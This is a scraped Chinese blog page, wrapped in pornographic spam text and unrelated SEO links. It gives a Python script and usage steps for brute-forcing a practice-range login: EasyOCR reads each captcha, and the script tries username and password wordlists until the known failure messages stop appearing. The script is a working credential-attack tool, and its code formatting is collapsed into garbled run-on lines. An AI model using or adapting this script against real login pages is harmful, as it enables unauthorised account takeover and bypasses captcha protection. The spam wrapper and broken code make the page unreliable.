中文亚洲精品无码_熟女乱子伦免费_人人超碰人人爱国产_亚洲熟妇女综合网

當(dāng)前位置: 首頁 > news >正文

vs做網(wǎng)站出現(xiàn)顯示bug百度搜索資源平臺(tái)提交

vs做網(wǎng)站出現(xiàn)顯示bug,百度搜索資源平臺(tái)提交,科技幻想畫,什么是seo優(yōu)化?寫在前面 由于驗(yàn)證碼在服務(wù)端生成后存儲(chǔ)在服務(wù)器的session中,而標(biāo)用于標(biāo)識(shí)用戶身份的sessionid存在于用戶cookie中 所以本次識(shí)別驗(yàn)證碼時(shí)需要用requests.session()創(chuàng)建會(huì)話對象,模擬真實(shí)的瀏覽器行為,保持與服務(wù)器的會(huì)話才能獲取登錄時(shí)服務(wù)…

寫在前面

由于驗(yàn)證碼在服務(wù)端生成后存儲(chǔ)在服務(wù)器的session中,而標(biāo)用于標(biāo)識(shí)用戶身份的sessionid存在于用戶cookie中

所以本次識(shí)別驗(yàn)證碼時(shí)需要用requests.session()創(chuàng)建會(huì)話對象,模擬真實(shí)的瀏覽器行為,保持與服務(wù)器的會(huì)話才能獲取登錄時(shí)服務(wù)器為用戶生成驗(yàn)證碼,也省去了手動(dòng)在python代碼中手動(dòng)輸入cookie的步驟

安裝OCR庫(需要python3.9)

Github地址:https://github.com/JaidedAI/EasyOCR

pip install easyocr

相關(guān)代碼?

import requests
import easyocr# 填入請求地址
code_url = "http://localhost/yanzhengma.php"
login_url = "http://localhost/login.php"bf_flag = False
# success為未知,但可以嘗試出登陸失敗的信息
success = ""
failure = ["你的驗(yàn)證碼不正確,請重新輸入","您輸入的用戶名不存在","密碼錯(cuò)誤,請重新輸入"] 
count = 0
# easyocr相關(guān)初始化設(shè)置識(shí)別英文字母或數(shù)字,不輸出詳細(xì)運(yùn)行信息
reader = easyocr.Reader(['en'])
# 由于驗(yàn)證碼在服務(wù)端生成后存儲(chǔ)在服務(wù)器的session中,而標(biāo)用于標(biāo)識(shí)用戶身份的sessionid存在于用戶cookie中
# 所以這里需要用requests.session()創(chuàng)建會(huì)話對象,模擬真實(shí)的瀏覽器行為,保持與服務(wù)器的會(huì)話才能獲取登錄時(shí)為用戶生成驗(yàn)證碼
session = requests.session()with open("./user.txt", 'r') as file_usr:with open("./pswd.txt", 'r') as file_pwd:while not bf_flag:first = file_usr.readline()if not first:break# 在內(nèi)層循環(huán)之前,重置文件指針到文件開頭實(shí)現(xiàn)遍歷file_pwd.seek(0)while not bf_flag:second = file_pwd.readline()if not second:breakfirst = first.strip()second = second.strip()count += 1# 用會(huì)話對象向?yàn)g覽器發(fā)請求并將驗(yàn)證碼圖片保存img = session.get(url = code_url).contentwith open('./code.jpg','wb') as code_file:code_file.write(img)# 識(shí)別驗(yàn)證碼內(nèi)容try:result = reader.readtext('./code.jpg')# 取出識(shí)別結(jié)果target_code = [text for (_, text, _) in result][0]except:print("第"+ str(count) +"次嘗試--失敗:識(shí)別出現(xiàn)錯(cuò)誤")if len(target_code) < 4:print("第" + str(count) + "次嘗試--驗(yàn)證碼識(shí)別出錯(cuò)")print(target_code)response = session.post(url = login_url,data = {"name":first, "pwd":second, "yzm":target_code ,"login":"%E7%99%BB%E5%BD%95"})print(response.text)check_flag = Truefor context in failure:if context in response.text:print("第"+ str(count) +"次嘗試--失敗:",first + " " + second)check_flag = Falsebreak;if check_flag:print("第"+ str(count) +"次嘗試--成功:",first + " " + second)bf_flag = True;break;

使用方式?

進(jìn)入靶場隨意嘗試?

發(fā)現(xiàn)是用POST方式進(jìn)行的請求,請求地址為/login.php需要將此地址填入腳本相應(yīng)位置

右鍵驗(yàn)證碼部分查看生成驗(yàn)證碼的請求地址?

復(fù)制鏈接進(jìn)行嘗試,刷新一次即可得到一個(gè)隨機(jī)的驗(yàn)證碼,需要將此地址填入腳本相應(yīng)位置

運(yùn)行腳本等待結(jié)果,由于OCR識(shí)別會(huì)有各種各樣的問題,有時(shí)需要重復(fù)跑幾遍才能得到想要的結(jié)果

可以看到賬號(hào)為admin密碼為1234556時(shí)沒有產(chǎn)生報(bào)錯(cuò)信息,暴力破解成功

http://www.risenshineclean.com/news/35306.html

相關(guān)文章:

  • 郵編域名做網(wǎng)站百度一下網(wǎng)頁
  • 手機(jī)網(wǎng)站生成app解析域名網(wǎng)站
  • 本溪網(wǎng)站建設(shè)網(wǎng)站建站公司
  • 家裝企業(yè)網(wǎng)站系統(tǒng)下載安卓優(yōu)化大師老版本
  • 如何經(jīng)營一個(gè)購物網(wǎng)站seo關(guān)鍵詞查詢工具
  • 上海市建設(shè)交通工會(huì)網(wǎng)站百度關(guān)鍵詞優(yōu)化專家
  • 做動(dòng)漫網(wǎng)站如何應(yīng)用數(shù)據(jù)綁定百度一下你就知道百度一下
  • 中衛(wèi)企業(yè)管理培訓(xùn)網(wǎng)站優(yōu)化公司網(wǎng)站
  • 菏澤做網(wǎng)站公司百度搜索引擎優(yōu)化詳解
  • 深圳大浪網(wǎng)站建設(shè)深圳網(wǎng)
  • 杭州軟件app制作公司太原seo排名
  • 做電影網(wǎng)站需要什么條件網(wǎng)絡(luò)營銷策劃內(nèi)容
  • 深圳app開發(fā)公司哪家服務(wù)好巢湖seo推廣
  • 莆田網(wǎng)站建設(shè)哪家好什么是全網(wǎng)營銷推廣
  • 263企業(yè)郵箱登錄入口首頁上海seo公司哪家好
  • 買源碼做網(wǎng)站靠譜嗎網(wǎng)絡(luò)公司網(wǎng)絡(luò)推廣服務(wù)
  • 社會(huì)保險(xiǎn)業(yè)務(wù)網(wǎng)站百度指數(shù)app官方下載
  • 東莞外貿(mào)公司建網(wǎng)站業(yè)務(wù)推廣方式
  • 發(fā)布個(gè)人免費(fèi)網(wǎng)站的一般流程圖重慶seo公司排名
  • app展示網(wǎng)站軟件排名優(yōu)化
  • 金華網(wǎng)站開發(fā)公司北京seo邢云濤
  • 西地那非片有依賴性嗎湘潭seo快速排名
  • 做物理的網(wǎng)站企業(yè)如何進(jìn)行網(wǎng)絡(luò)營銷
  • 甘肅省建設(shè)廳質(zhì)量投訴網(wǎng)站武漢百度seo網(wǎng)站優(yōu)化
  • 建網(wǎng)站是什么專業(yè)類別寧德市高中階段招生信息平臺(tái)
  • 網(wǎng)站建設(shè)計(jì)劃表模板下載百度指數(shù)數(shù)據(jù)分析平臺(tái)
  • 豐寧縣有做網(wǎng)站的嗎?站長申論
  • 設(shè)置wordpress上傳文件大小限制西安網(wǎng)站優(yōu)化培訓(xùn)
  • 公司做網(wǎng)站 要準(zhǔn)備哪些素材電話營銷
  • 響應(yīng)式網(wǎng)站寬度如何做網(wǎng)站